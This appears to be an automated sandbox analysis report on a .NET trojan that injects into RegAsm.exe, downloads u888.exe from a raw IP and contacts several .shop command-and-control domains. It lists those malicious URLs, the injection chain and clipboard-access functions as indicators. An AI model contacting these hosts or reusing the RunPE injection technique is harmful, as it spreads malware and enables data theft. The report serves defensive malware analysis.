Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.131

Source: global traffic

HTTP traffic detected: GET /files/u888.exe HTTP/1.1Host: 147.45.44.131Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: miracledzmnqwui.shop
Source: global traffic	DNS traffic detected: DNS query: locatedblsoqp.shop
Source: global traffic	DNS traffic detected: DNS query: traineiwnqo.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: miracledzmnqwui.shop

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.00000000027DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.0000000002781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/files/u888.exe
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.0000000002781000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://147.45.44.131/files/u888.exeP
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1253157073.00000000027DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/
Source: RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/&%
Source: RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/.%
Source: RegAsm.exe, 00000003.00000002.1292012501.0000000000FA3000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1292062764.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1291749878.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/api
Source: RegAsm.exe, 00000003.00000002.1291749878.0000000000F4E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://traineiwnqo.shop/apim

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49705 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004297F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004297F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004297F0 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

3_2_004297F0

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Code function: 0_2_00CF31B4	0_2_00CF31B4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043406B	3_2_0043406B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042EB21	3_2_0042EB21
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040BFE1	3_2_0040BFE1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040181E	3_2_0040181E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00435830	3_2_00435830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004070A0	3_2_004070A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414160	3_2_00414160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00435110	3_2_00435110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004201C0	3_2_004201C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C1E0	3_2_0041C1E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CA40	3_2_0041CA40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00410A4B	3_2_00410A4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419A55	3_2_00419A55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00404A10	3_2_00404A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411220	3_2_00411220
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00432A30	3_2_00432A30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00425342	3_2_00425342
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00410B4D	3_2_00410B4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041EB5F	3_2_0041EB5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00423300	3_2_00423300
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00436B00	3_2_00436B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407BE0	3_2_00407BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00406B80	3_2_00406B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0042DB80	3_2_0042DB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DBA2	3_2_0041DBA2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004053B0	3_2_004053B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00423C24	3_2_00423C24
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00403C30	3_2_00403C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004354E0	3_2_004354E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040CC80	3_2_0040CC80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402480	3_2_00402480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00435492	3_2_00435492
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00411D50	3_2_00411D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00413555	3_2_00413555
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040C510	3_2_0040C510
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040B5E0	3_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00405E40	3_2_00405E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CE70	3_2_0041CE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00436E10	3_2_00436E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004086F0	3_2_004086F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041CF42	3_2_0041CF42
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00407750	3_2_00407750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041DF69	3_2_0041DF69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00420710	3_2_00420710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00403FD0	3_2_00403FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041A7D8	3_2_0041A7D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040EFE0	3_2_0040EFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00401F98	3_2_00401F98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00418F9A	3_2_00418F9A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00434FB0	3_2_00434FB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004091D0 appears 44 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004099A0 appears 105 times

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000002.1252293838.00000000009CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, 00000000.00000000.1232989270.00000000004C6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameConsoleApp66.exe: vs SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe
Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Binary or memory string: OriginalFilenameConsoleApp66.exe: vs SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe, Settings.cs

Base64 encoded string: 'QzpcXFdpbmRvd3NcXE1pY3Jvc29mdC5ORVRcXEZyYW1ld29ya1xcdjQuMC4zMDMxOVxcUmVnQXNtLmV4ZQ=='

Source: classification engine

Classification label: mal100.troj.evad.winEXE@5/1@3/3

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0042EB21 SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,CoCreateInstance,CoCreateInstance,

3_2_0042EB21

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Mutant created: NULL

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: C:\Users\Administrator\Desktop\RunPE-x\ConsoleApp66\obj\Release\ConsoleApp66.pdb source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Source: SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe

Static PE information: 0x8B22E0EF [Mon Dec 21 13:53:51 2043 UTC]

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Code function: 0_2_00CF2298 push edx; retf 5500h	0_2_00CF2586
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Code function: 0_2_00CF05C9 push esp; retf 0000h	0_2_00CF05CA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Code function: 0_2_00CF0598 push esp; retf 0000h	0_2_00CF05BA
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Code function: 0_2_00CF0505 push eax; retf 0000h	0_2_00CF050A
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Code function: 0_2_00CF0605 push esp; retf 0000h	0_2_00CF060A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043DABC push eax; retn 0041h	3_2_0043DABD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043D5A0 push edi; retn 0041h	3_2_0043D5A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0043D63E push eax; iretd	3_2_0043D669

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.InjectNET.17.23993.14959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
